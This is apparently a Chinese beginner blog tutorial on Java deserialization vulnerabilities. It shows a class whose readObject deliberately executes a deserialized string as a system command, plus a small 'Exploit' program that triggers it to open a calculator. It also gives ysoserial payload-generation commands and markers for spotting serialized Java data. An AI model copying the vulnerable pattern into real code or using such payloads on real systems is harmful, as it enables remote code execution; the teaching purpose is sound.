【网络安全渗透测试零基础入门必知必会】之Java 反序列化漏洞(非常详细)零基础入门到精通,收藏这一篇就够了3

373 篇文章 2 订阅
373 篇文章 3 订阅

前言

这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段反序列化渗透与防御第3篇。

本文主要讲解java反序列化漏洞

喜欢的朋友们,记得给大白点赞支持和收藏一下,关注我,学习黑客技术。

反序列化漏洞是指程序在反序列化期间,通过特殊的调用链引发的一系列安全问题。编程语言中只要存在序列化,反序列化功能就可能存在反序列化的安全问题。这里只针对Java和PHP进行讨论。

序列化漏洞概述

序列化的存在主要是为了存储和传输,将这些在程序内存中的对象转换成数据字节流。由对象转换得到字节流的过程就称作是序列化。反序列化就是由字节流转换得到对象的过程。

反序列化漏洞就是指当目标程序对攻击者可控的数据进行反序列化处理时产生的安全问题。

在各种编程语言的反序列化漏洞中,Java是最引人瞩目的,因为Java的开发生态中各种第三方库组件相互依赖,经常出现开发中常用的基础底层组件出现安全问题时,会引发核弹式反应,进而影响到上层得操作系统。

Java序列化基础知识

在Java中,如果想要对一个对象实现序列化,反序列化,那么这个对象的类必须要实现java.io.Serializable接口。序列化的实现由两种方法:

使用java.io.ObjectOutputStream类的方法

通过writeObject方法实现对象序列化

FileOutputStream f = new FileOutputStream("date.ser");  
ObjectOutput s = new ObjectOutputStream(f);  
s.writeObject(new Date());  
s.flush();  

通过readObject方法实现字节流反序列化

FileInputStream in = new FileInputStream("date.ser");  
ObjectInputStream s = new ObjectInputStream(in);  
Date date = (Date)s.readObject();  

类实现Serializable接口

类实现接口会重写两个方法,writeObject和readObject。

Person类:

import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.io.Serializable;  
  
public class Person implements Serializable {  
  
    private String name;  
  
    public Person(String name) {  
        this.name = name;  
    }  
  
    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {  
        // 反序列化时会调用此方法  
        System.out.println("Person.readObject method is being called");  
        // 这里从输入数据流里解码读取一个字符串,并将其设置为 name 属性  
        name = s.readUTF();  
    }  
  
    private void writeObject(ObjectOutputStream s) throws IOException {  
        // 序列化时会调用此方法  
        System.out.println("Person.writeObject method is being called");  
        // 这里将 name 属性字符串编码写入到输出数据流里  
        s.writeUTF(name);  
    };  
  
    @Override  
    public String toString() {  
        return "Person{" +  
                "name='" + name + '\'' +  
                '}';  
    }  
}  
  

创建Person对象

Person person = new Person("hacker");  
  
ByteArrayOutputStream baos = new ByteArrayOutputStream();  
ObjectOutputStream oos = new ObjectOutputStream(baos);  
oos.writeObject(person);    // 对 Person 对象进行序列化  
byte[] bytes = baos.toByteArray();  // 得到序列化后得到的字节数组  
  
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);  
ObjectInputStream ois = new ObjectInputStream(bais);  
Person p = (Person) ois.readObject();   // 对 bytes 字节数组进行反序列化,得到 Person 对象  
  

其它编程语言的序列化和反序列化也大体类似。

Java反序列化漏洞原理

当Java应用程序对来自外部输入的不可信数据进行反序列化时,就会形成反序列化漏洞。

java反序列化漏洞检测思路:

数据包内出现字符串:0xaced 00 05(二进制数据的16进制数据表示) 或者 rO0AB(二进制数据的Base64编码)

测试代码:

package Example4;  
  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.io.Serializable;  
  
public class Dummy implements Serializable {  
  
    private String cmd;  
  
    public Dummy(String cmd) {  
        this.cmd = cmd;  
    }  
  
    private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {  
        cmd = s.readUTF();	// 这里从输入数据流里解码读取一个字符串,并将其设置为属性 cmd  
        Runtime.getRuntime().exec(cmd);	// 以属性 cmd 作为系统命令进行执行  
    }  
  
    private void writeObject(ObjectOutputStream s) throws IOException {  
        s.writeUTF(cmd);  
    };  
  
}  
  
  

攻击代码:

package Example4;  
  
import java.io.*;  
import java.nio.charset.StandardCharsets;  
  
public class Exploit {  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        Dummy dummy = new Dummy("calc");  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(dummy);  
        byte[] bytes = baos.toByteArray();  
  
        // 使用指定字符编码将 byte 数组转换为字符串  
        String str = new String(bytes, StandardCharsets.UTF_8);  
        // 打印字符串  
        System.out.println(str);  
  
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);  
        ObjectInputStream ois = new ObjectInputStream(bais);  
        Dummy d = (Dummy) ois.readObject();  
    }  
}  
  

结果:弹出计算器

Java反序列化漏洞利用

在现实世界的反序列化的利用往往时复杂的,往往需要多个组合多个不同的Serializable接口实现类的方阿飞调用,形成复杂的利用链。

对于实际测试时,推荐一个GITHUB项目:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

运行下面这条命令可以查看这个工具支持的利用链类型:

java -jar ysoserial-all.jar  

payload生成命令:

java -jar ysoserial-all.jar payload 命令  

需要注意的是工具集成的paylaod需要依赖的组件,当我们测试时发现它有依赖这些组件,就可以进行测试反序列化漏洞。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值